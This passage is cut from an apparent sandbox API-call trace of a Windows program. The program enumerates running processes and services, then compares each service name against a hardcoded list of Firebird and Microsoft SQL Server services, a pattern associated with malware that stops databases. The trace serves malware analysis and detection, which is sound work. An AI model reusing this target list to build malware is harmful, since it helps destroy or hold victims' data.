brave.exe")) returned 1 [0063.742] lstrlenW (lpString="neo quotations brave.exe") returned 24 [0063.742] Process32NextW (in: hSnapshot=0x2c0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0063.743] lstrlenW (lpString="dllhost.exe") returned 11 [0063.743] Process32NextW (in: hSnapshot=0x2c0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="product.exe")) returned 1 [0063.745] lstrlenW (lpString="product.exe") returned 11 [0063.745] Process32NextW (in: hSnapshot=0x2c0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="phase wrist exhaust.exe")) returned 1 [0063.746] lstrlenW (lpString="phase wrist exhaust.exe") returned 23 [0063.746] Process32NextW (in: hSnapshot=0x2c0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="basin.exe")) returned 1 [0063.747] lstrlenW (lpString="basin.exe") returned 9 [0063.747] Process32NextW (in: hSnapshot=0x2c0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="determine keyboard rebecca.exe")) returned 1 [0063.748] lstrlenW (lpString="determine keyboard rebecca.exe") returned 30 [0063.748] Process32NextW (in: hSnapshot=0x2c0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x668, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="tested housewives.exe")) returned 1 [0063.751] lstrlenW (lpString="tested housewives.exe") returned 21 [0063.751] Process32NextW (in: hSnapshot=0x2c0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xfc0, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0063.752] lstrlenW (lpString="conhost.exe") returned 11 [0063.752] Process32NextW (in: hSnapshot=0x2c0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xfb0, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0063.753] lstrlenW (lpString="conhost.exe") returned 11 [0063.753] Process32NextW (in: hSnapshot=0x2c0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0063.754] lstrlenW (lpString="svchost.exe") returned 11 [0063.754] Process32NextW (in: hSnapshot=0x2c0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x474, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="wmxsde.exe")) returned 1 [0063.755] lstrlenW (lpString="wmxsde.exe") returned 10 [0063.755] Process32NextW (in: hSnapshot=0x2c0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x794, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x12c, pcPriClassBase=4, dwFlags=0x0, szExeFile="CompatTelRunner.exe")) returned 1 [0063.756] lstrlenW (lpString="CompatTelRunner.exe") returned 19 [0063.757] Process32NextW (in: hSnapshot=0x2c0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x794, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0063.758] lstrlenW (lpString="conhost.exe") returned 11 [0063.758] Process32NextW (in: hSnapshot=0x2c0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x474, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0063.759] lstrlenW (lpString="cmd.exe") returned 7 [0063.759] Process32NextW (in: hSnapshot=0x2c0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x7a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0063.760] lstrlenW (lpString="conhost.exe") returned 11 [0063.760] Process32NextW (in: hSnapshot=0x2c0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x540, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0063.761] lstrlenW (lpString="svchost.exe") returned 11 [0063.761] Process32NextW (in: hSnapshot=0x2c0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x540, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0063.762] CloseHandle (hObject=0x2c0) returned 1 [0063.763] Sleep (dwMilliseconds=0x1f4) [0064.891] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x6ded40 [0064.892] EnumServicesStatusExW (in: hSCManager=0x6ded40, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x24cff3c, lpServicesReturned=0x24cff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x24cff3c, lpServicesReturned=0x24cff54, lpResumeHandle=0x0) returned 0 [0064.892] GetLastError () returned 0xea [0064.892] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x1dba) returned 0x7010e0 [0064.892] EnumServicesStatusExW (in: hSCManager=0x6ded40, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x7010e0, cbBufSize=0x1dba, pcbBytesNeeded=0x24cff3c, lpServicesReturned=0x24cff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x7010e0, pcbBytesNeeded=0x24cff3c, lpServicesReturned=0x24cff54, lpResumeHandle=0x0) returned 1 [0064.893] CloseServiceHandle (hSCObject=0x6ded40) returned 1 [0064.893] lstrlenW (lpString="Appinfo") returned 7 [0064.894] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0064.894] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0064.894] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0064.894] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0064.894] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0064.894] lstrlenW (lpString="AppXSvc") returned 7 [0064.894] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0064.894] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0064.894] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0064.894] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0064.894] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0064.894] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0064.894] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0064.894] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0064.894] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0064.894] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0064.894] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0064.894] lstrlenW (lpString="Audiosrv") returned 8 [0064.894] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0064.894] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0064.894] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0064.894] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0064.894] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0064.894] lstrlenW (lpString="BFE") returned 3 [0064.894] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0064.894] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0064.894] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0064.894] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0064.894] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0064.894] lstrlenW (lpString="BITS") returned 4 [0064.894] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1 [0064.894] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1 [0064.894] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1 [0064.895] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1 [0064.895] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1 [0064.895] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0064.895] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0064.895] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0064.895] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0064.895] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0064.895] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0064.895] lstrlenW (lpString="CDPSvc") returned 6 [0064.895] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0064.895] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0064.895] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0064.895] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0064.895] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0064.895] lstrlenW (lpString="ClickToRunSvc") returned 13 [0064.895] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0064.895] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0064.895] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0064.895] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0064.895] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0064.895] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0064.895] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0064.895] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0064.895] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0064.895] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0064.895] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0064.895] lstrlenW (lpString="CryptSvc") returned 8 [0064.895] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0064.895] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0064.895] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0064.895] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0064.896] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0064.896] lstrlenW (lpString="DcomLaunch") returned 10 [0064.896] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0064.896] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0064.896] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0064.896] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0064.896] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0064.896] lstrlenW (lpString="DeviceAssociationService") returned 24 [0064.896] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0064.896] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0064.896] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0064.896] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0064.896] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0064.896] lstrlenW (lpString="Dhcp") returned 4 [0064.896] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0064.896] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0064.896] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0064.896] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0064.896] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0064.896] lstrlenW (lpString="Dnscache") returned 8 [0064.896] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0064.896] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0064.896] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0064.896] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0064.896] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0064.896] lstrlenW (lpString="DoSvc") returned 5 [0064.896] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DoSvc") returned 1 [0064.896] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DoSvc") returned 1 [0064.896] lstrcmpiW (lpString1="sqlwriter", lpString2="DoSvc") returned 1 [0064.896] lstrcmpiW (lpString1="mssqlserver", lpString2="DoSvc") returned 1 [0064.896] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DoSvc") returned 1 [0064.896] lstrlenW (lpString="DPS") returned 3 [0064.896] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0064.897] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0064.897] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0064.897] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0064.897] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0064.897] lstrlenW (lpString="DusmSvc") returned 7 [0064.897] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0064.897] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0064.897] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0064.897] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0064.897] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0064.897] lstrlenW (lpString="EventLog") returned 8 [0064.897] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0064.897] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0064.897] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0064.897] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0064.897] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0064.897] lstrlenW (lpString="EventSystem") returned 11 [0064.897] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0064.897] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0064.897] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0064.897] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0064.897] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0064.897] lstrlenW (lpString="FontCache") returned 9 [0064.897] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0064.897] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0064.897] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0064.897] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0064.897] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0064.897] lstrlenW (lpString="gpsvc") returned 5 [0064.897] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0064.897] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0064.897] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0064.897] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0064.897] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0064.898] lstrlenW (lpString="iphlpsvc") returned 8 [0064.898] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0064.898] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0064.898] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0064.898] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0064.898] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0064.898] lstrlenW (lpString="KeyIso") returned 6 [0064.898] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0064.898] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0064.898] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0064.898] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0064.898] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0064.898] lstrlenW (lpString="LanmanServer") returned 12 [0064.898] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0064.898] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0064.898] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0064.898] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0064.898] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0064.898] lstrlenW (lpString="LanmanWorkstation") returned 17 [0064.898] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0064.898] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0064.898] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0064.898] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0064.898] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0064.898] lstrlenW (lpString="lfsvc") returned 5 [0064.898] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0064.898] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0064.898] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0064.898] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0064.898] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0064.898] lstrlenW (lpString="lmhosts") returned 7 [0064.898] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0064.898] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0064.899] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0064.899] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0064.899] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0064.899] lstrlenW (lpString="LSM") returned 3 [0064.899] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0064.899] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0064.899] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0064.899] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0064.899] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0064.899] lstrlenW (lpString="MapsBroker") returned 10 [0064.899] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MapsBroker") returned -1 [0064.899] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MapsBroker") returned -1 [0064.899] lstrcmpiW (lpString1="sqlwriter", lpString2="MapsBroker") returned 1 [0064.899] lstrcmpiW (lpString1="mssqlserver", lpString2="MapsBroker") returned 1 [0064.899] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MapsBroker") returned 1 [0064.899] lstrlenW (lpString="MpsSvc") returned 6 [0064.899] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0064.899] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0064.899] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0064.899] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0064.899] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0064.899] lstrlenW (lpString="NcbService") returned 10 [0064.899] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0064.899] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0064.899] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0064.899] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0064.899] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0064.899] lstrlenW (lpString="netprofm") returned 8 [0064.899] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0064.899] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0064.899] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0064.899] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0064.899] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0064.900] lstrlenW (lpString="NgcSvc") returned 6 [0064.900] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0064.900] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0064.900] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0064.900] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0064.900] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0064.900] lstrlenW (lpString="NlaSvc") returned 6 [0064.900] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0064.900] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0064.900] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0064.900] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0064.900] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0064.900] lstrlenW (lpString="nsi") returned 3 [0064.900] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0064.900] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0064.900] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0064.900] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0064.900] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0064.900] lstrlenW (lpString="PcaSvc") returned 6 [0064.900] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0064.900] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0064.900] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0064.900] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0064.900] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0064.900] lstrlenW (lpString="PlugPlay") returned 8 [0064.900] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0064.900] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0064.900] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0064.900] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0064.900] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0064.900] lstrlenW (lpString="Power") returned 5 [0064.900] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0064.900] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0064.901] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0064.901] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0064.901] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0064.901] lstrlenW (lpString="ProfSvc") returned 7 [0064.901] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0064.901] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0064.901] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0064.901] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0064.901] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0064.901] lstrlenW (lpString="RpcEptMapper") returned 12 [0064.901] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0064.901] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0064.901] lstrcmpiW (lpString1="sqlwriter", 